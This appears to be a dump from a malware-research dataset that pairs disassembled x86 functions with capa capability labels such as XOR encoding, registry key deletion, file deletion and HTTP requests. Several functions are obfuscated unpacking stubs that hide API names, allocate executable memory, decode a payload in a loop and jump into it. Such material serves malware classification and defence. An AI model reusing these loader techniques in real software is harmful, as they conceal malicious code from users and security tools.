joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401443
pop dword [ebp - 0x44]
mov eax, 0x401443
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xc5127cbb
sub dword [ebp - 0x54], 0x76c03770
mov dword [ebp - 0x50], 0x42c97fae
sub dword [ebp - 0x50], 0x10963369
mov dword [ebp - 0x4c], 0x857184fb
add dword [ebp - 0x4c], 0xc6dabf33
mov dword [ebp - 0x48], 0x4e424418
sub dword [ebp - 0x48], 0x4e424418
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x8490acda
add dword [ebp - 0x54], 0xefe1bc7c
mov dword [ebp - 0x50], 0x72303056
sub dword [ebp - 0x50], 0x30c3cee1
mov dword [ebp - 0x4c], 0x73784ea1
sub dword [ebp - 0x4c], 0x1008e235
mov dword [ebp - 0x48], 0xc0325fa1
add dword [ebp - 0x48], 0x3fcda05f
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xdef67f26
sub eax, 0xdeb5fe26
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x34aea
push 0
call eax
mov ecx, 0xb2911e43
add ecx, 0x4d6f1b5d
mov edx, eax
mov ebx, 0x85bca625
add ebx, 0x7a885ddb
add ebx, dword [ebp - 0x44]
mov edi, 0x4072d2d2
add edi, 0x1738fd2
mov esi, dword [ebx]
xor dword [ebp - 0x34], edi
sub esi, edi
add dword [ebp - 0x24], edx
mov dword [edx], esi
sub dword [ebp - 0x34], 0xd7ac3727
add edx, 4
add ebx, 0x1de93f0
sub ebx, 0x1de93ec
loop 0x40155b
add eax, 0x6870371d
add eax, 0x9790a236
mov ebx, eax
add eax, 0xc6f3f1b4
add eax, 0x390c0e51
mov ecx, 0x5fa6fb60
sub ecx, 0x5f66fb60
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x434f90]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004064be
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x434f90]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x434f90], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x402793
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4027a2
pop dword [ebp - 0x10]
mov eax, 0x4027a2
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x36c5e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x391b7767
sub ecx, 0x391b3b9b
mov edi, eax
mov ebx, 0x544d6c12
sub ebx, 0x540c304e
add ebx, dword [ebp - 0x10]
mov edx, 0x54f4ed5c
add dword [ebp - 0xc], edi
mov esi, dword [ebx]
sub dword [ebp - 4], 0xc3330f09
xor esi, edx
sub dword [ebp - 8], 0xd81e162e
mov dword [edi], esi
add dword [ebp - 4], 0x8962b880
add edi, 4
add ebx, 4
loop 0x4027f1
add eax, 0xe203
xor ebx, ebx
add ebx, eax
add eax, 0x3b3401a7
sub eax, 0x3b3401a2
mov ecx, 0x40f90db1
sub ecx, 0x40b90db1
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40f0c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410990
push 0x401038
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor esi, esi
mov dword [ebp - 4], esi
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
add ecx, 0xeaf
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, 0xffffffff
je 0x40f153
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [ebp - 0x20], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov dword [ebp - 0x24], eax
push esi
lea ecx, [ebp - 0x20]
push ecx
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40f153
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40f881
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, ecx
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push dword [esp + 0xc]
push 1
push 0
push dword [esp + 0x1c]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop esi
inc eax
ret 8
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40288e
pop dword [ebp - 0x24]
mov eax, 0x3ced23e1
sub eax, 0x3cacfb53
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x2c3fae1f
add dword [ebp - 0x34], 0x2212972c
mov dword [ebp - 0x30], 0xe200efe6
add dword [ebp - 0x30], 0x50325c5f
mov dword [ebp - 0x2c], 0x35cd8e00
sub dword [ebp - 0x2c], 0xe98149d2
mov dword [ebp - 0x28], 0x5fd7c079
sub dword [ebp - 0x28], 0x5fd7c079
lea eax, [ebp - 0x34]
push eax
mov eax, 0x2ccd0b3b
sub eax, 0x2c8c8aaf
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xfd456a3a
sub dword [ebp - 0x34], 0x88d300e4
mov dword [ebp - 0x30], 0x54f7dcd5
add dword [ebp - 0x30], 0xec7484a0
mov dword [ebp - 0x2c], 0x38d562f5
add dword [ebp - 0x2c], 0x2a9a0977
mov dword [ebp - 0x28], 0x4f5ca110
add dword [ebp - 0x28], 0xb0a35ef0
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xf5583f41
sub eax, 0xf517be6d
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3c58a
push 0
call eax
mov ecx, 0xe4fa7550
add ecx, 0x1b05e9b0
xor ebx, ebx
add ebx, eax
mov edi, 0x36beb9c4
sub edi, 0x367da9c4
add edi, dword [ebp - 0x24]
mov edx, 0x1115b4df
add edx, 0xf7badcca
sub dword [ebp - 0x14], 0x1c914388
mov esi, dword [edi]
sub dword [ebp - 8], eax
sub esi, edx
xor dword [ebp - 0x18], 0xee345a33
mov dword [ebx], esi
sub dword [ebp - 0x14], 0xbc22aca2
add ebx, 0x4fa5094f
add ebx, 0xb05af6b5
add edi, 0xb42c978a
add edi, 0x4bd3687a
loop 0x4029b2
add eax, 0xc3575a98
sub eax, 0xc355ebc5
mov ebx, eax
add eax, 0xc4ad5e05
sub eax, 0xc4ad5e00
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x4026f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402790
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402770
xor eax, eax
push ebp
push 0x402769
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4027ac
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402770
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x403ec4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x40407c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f25
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404098
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f92
xor eax, eax
push ebp
push 0x403f8b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403f74
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4040b8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f92
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404073
cmp byte [ebp - 0xd], 0
jne 0x403fd4
cmp byte [ebp - 0x12], 0
je 0x404073
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x403fed
dec ebx
cmp byte [ebx], 0x2e
je 0x403ffc
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x403fec
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404073
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404029
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404073
cmp byte [ebp - 0xd], 0
je 0x404073
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404073
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406a64
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x406b6e
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x406ab7
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_2
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.00403178
jmp 0x406b55
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, ebx
call fcn.00406a18
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.00406a38
mov ebx, eax
test esi, esi
je 0x406adf
dec esi
test esi, esi
jl 0x406adf
cmp edi, ebx
jne 0x406abe
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.004031b8
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.00403404
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403200
cmp eax, 2
jl 0x406b55
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x406b55
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403200
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x406b55
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403200
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.00403404
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b75
lea eax, [ebp - 0x110]
call fcn.00403094
ret

Function at 0x406be8
Capabilities:
Get file attributes

Disassembly:
call fcn.0040540c
push eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x406bfc
dec eax
and al, 0x10
sete al
ret
Function at 0x406c8c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0xc], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033b4
mov eax, dword [ebp - 8]
call fcn.004033b4
xor eax, eax
push ebp
push 0x406ddc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00403094
cmp dword [ebp - 4], 0
je 0x406cf4
mov eax, dword [ebp - 4]
call fcn.00403200
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
je 0x406cf4
lea eax, [ebp - 4]
mov edx, 0x406df4
call fcn.00403208
cmp dword [ebp - 8], 0
je 0x406d23
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x406d23
lea ecx, [ebp - 0x150]
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.0040693c
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 8]
call fcn.0040312c
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.0040324c
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004033c4
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
test esi, esi
setne al
jmp 0x406dac
test dword [ebp - 0x14c], 0x10
ja 0x406d99
cmp dword [ebx], 0
je 0x406d6c
mov eax, ebx
mov edx, 0x406e00
call fcn.00403208
push dword [ebx]
push dword [ebp - 4]
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.004031e8
push dword [ebp - 0x150]
mov eax, ebx
mov edx, 3
call fcn.004032c0
lea eax, [ebp - 0x14c]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
neg eax
sbb eax, eax
neg eax
test al, al
jne 0x406d4f
push esi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406de3
lea eax, [ebp - 0x150]
call fcn.00403094
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004030b8
ret

Function at 0x406e04
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov edi, eax
xor eax, eax
push ebp
push 0x406ef5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00403200
mov ebx, eax
lea eax, [ebx + 2]
call fcn.004024ec
mov esi, eax
mov eax, edi
call fcn.004033c4
mov edx, eax
mov eax, esi
call fcn.004068a0
mov byte [esi + ebx + 1], 0
cmp ebx, 0
jl 0x406e5f
cmp byte [esi + ebx], 0x3b
jne 0x406e59
mov byte [esi + ebx], 0
dec ebx
cmp ebx, 0xffffffff
jne 0x406e4f
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.00402640
cmp dword [0x41e4fc], 0
je 0x406e82
mov eax, dword [0x41e4fc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
mov dword [ebp - 0x16], esi
mov word [ebp - 0xe], 0x50
mov dword [ebp - 0xc], 0xffffffff
push 0x406f10
push edi
push 0x406f20
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.004032c0
mov eax, dword [ebp - 0x24]
call fcn.004033c4
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete bl
test bl, bl
je 0x406ed8
mov ebx, dword [ebp - 0xc]
cmp ebx, 1
sbb ebx, ebx
neg ebx
mov eax, esi
call fcn.00402504
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406efc
lea eax, [ebp - 0x24]
call fcn.00403094
ret
Function at 0x406f74
Capabilities:
Create thread

Disassembly:
push ebx
mov eax, dword [0x41d6dc]
mov byte [eax], 1
mov edx, dword [0x4052ac]
xor eax, eax
call fcn.004055a0
mov ebx, eax
mov byte [ebx + 0x18], 1
lea eax, [ebx + 0x1e]
push eax
push 4
push ebx
push 0x406f64
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebx + 0x1a], eax
mov eax, ebx
pop ebx
ret

Function at 0x407004
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov byte [ebx + 0x18], 0
mov eax, dword [ebx + 0x1a]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jbe 0x40701f
mov byte [ebx + 0x18], 1
pop ebx
ret
cmp word [ebx + 0x2c], 0
je 0x40702e
mov edx, ebx
mov eax, dword [ebx + 0x2e]
call dword [ebx + 0x2a]
pop ebx
ret

Function at 0x40708c
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, dword [ebx + 0x1a]
push eax
call sub.kernel32.dll_TerminateThread
mov byte [ebx + 0x19], 1
pop ebx
ret

Function at 0x407320
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4073b8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x18], 0
jne 0x40736d
mov eax, dword [ebx + 0x19]
call fcn.004033c4
push eax
push esi
mov eax, edi
call fcn.004033c4
push eax
mov eax, dword [ebx + 0x1d]
call fcn.004033c4
push eax
call sub.kernel32.dll_GetPrivateProfileIntA
mov dword [ebp - 4], eax
jmp 0x4073a2
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x19]
call fcn.004033c4
push eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.00406818
mov eax, dword [ebp - 8]
call fcn.004033c4
push eax
mov eax, edi
call fcn.004033c4
push eax
mov eax, dword [ebx + 0x1d]
call fcn.004033c4
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4073bf
lea eax, [ebp - 8]
call fcn.00403094
ret
Function at 0x408aa8
Capabilities:
Get graphical window text

Disassembly:
xchg edx, eax
movzx ecx, byte [edx + 0x3a]
jecxz 0x408ab7
mov edx, dword [edx + 0x36]
jmp fcn.004031b8
mov ecx, dword [edx + 0x18]
jecxz 0x408aaf
push ebx
push esi
xchg ebx, eax
mov esi, ecx
push esi
call sub.user32.dll_GetWindowTextLengthA
mov edx, eax
inc eax
push eax
mov eax, ebx
call fcn.00403530
pop edx
mov ecx, dword [ebx]
jecxz 0x408adf
push edx
push ecx
push esi
call sub.user32.dll_GetWindowTextA
pop esi
pop ebx
ret

Function at 0x40b4fc
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
cmp byte [0x41d348], 0xff
je 0x40b512
mov al, byte [0x41d348]
jmp 0x40b572
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 0x10]
cmp eax, 2
jne 0x40b54b
mov al, 3
mov edx, dword [esp + 4]
cmp edx, 6
jb 0x40b537
mov al, 6
jmp 0x40b56d
cmp edx, 5
jb 0x40b56d
cmp dword [esp + 8], 1
jb 0x40b547
mov al, 5
jmp 0x40b56d
mov al, 4
jmp 0x40b56d
cmp eax, 1
jne 0x40b56b
mov al, 1
cmp dword [esp + 4], 4
ja 0x40b567
cmp dword [esp + 4], 4
jne 0x40b56d
cmp dword [esp + 8], 0xa
jb 0x40b56d
mov al, 2
jmp 0x40b56d
xor eax, eax
mov byte [0x41d348], al
add esp, 0x94
ret
Function at 0x4133ec
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4135a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403094
test ebx, ebx
je 0x413585
mov eax, ebx
call fcn.00403200
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, 3
xor edx, edx
div ecx
mov ecx, edx
cmp ecx, 1
jne 0x41344a
lea eax, [ebp - 0xc]
mov ecx, 0x4135b8
mov edx, ebx
call fcn.0040324c
jmp 0x41346a
cmp ecx, 2
jne 0x413460
lea eax, [ebp - 0xc]
mov ecx, 0x4135c4
mov edx, ebx
call fcn.0040324c
jmp 0x41346a
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.0040312c
mov eax, dword [ebp - 0xc]
call fcn.00403200
mov dword [ebp - 8], eax
mov edi, 1
jmp 0x413536
push dword [esi]
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov bl, byte [edx + edi - 1]
xor edx, edx
mov dl, bl
shr edx, 2
mov ecx, dword [0x41d69c]
mov dl, byte [ecx + edx]
call fcn.004031a8
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
and bl, 3
xor edx, edx
mov dl, bl
shl edx, 4
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + edi]
shr ecx, 4
add edx, ecx
mov ecx, dword [0x41d69c]
mov dl, byte [ecx + edx]
call fcn.004031a8
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + edi]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + edi + 1]
shr ecx, 6
add edx, ecx
mov ecx, dword [0x41d69c]
mov dl, byte [ecx + edx]
call fcn.004031a8
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + edi + 1]
and dl, 0x3f
and edx, 0xff
mov ecx, dword [0x41d69c]
mov dl, byte [ecx + edx]
call fcn.004031a8
push dword [ebp - 0x1c]
mov eax, esi
mov edx, 5
call fcn.004032c0
add edi, 3
mov eax, dword [ebp - 8]
sub eax, 2
cmp edi, eax
jbe 0x41347f
mov eax, dword [ebp - 4]
mov ecx, 3
xor edx, edx
div ecx
mov ebx, edx
cmp ebx, 1
jne 0x41356c
mov eax, dword [esi]
call fcn.00403200
mov edi, eax
mov eax, esi
call fcn.004033d0
mov byte [eax + edi - 2], 0x3d
test ebx, ebx
jbe 0x413585
mov eax, dword [esi]
call fcn.00403200
mov ebx, eax
mov eax, esi
call fcn.004033d0
mov byte [eax + ebx - 1], 0x3d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4135a7
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.004030b8
ret
Function at 0x41374c
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x413808
push dword fs:[eax]
mov dword fs:[eax], esp
xor edi, edi
push 0
push 0
push 0
push 0
mov eax, ebx
call fcn.004033c4
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
je 0x4137f2
push 0
push 0x80000000
push 0
push 0
mov eax, esi
call fcn.004033c4
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0x14
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1d]
push eax
push 5
push esi
call sub.wininet.dll_HttpQueryInfoA
test eax, eax
je 0x4137e2
lea eax, [ebp - 0x24]
lea edx, [ebp - 0x1d]
mov ecx, 0x15
call fcn.004031e8
mov eax, dword [ebp - 0x24]
call fcn.00406894
mov edi, eax
test esi, esi
je 0x4137ec
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41380f
lea eax, [ebp - 0x24]
call fcn.00403094
ret
Function at 0x41488c
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 4], 0
je 0x4148f1
mov byte [ebx + 0x28], 0
push 0
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0x1c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 8]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebx + 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
mov dword [ebx + 4], eax
pop ebx
ret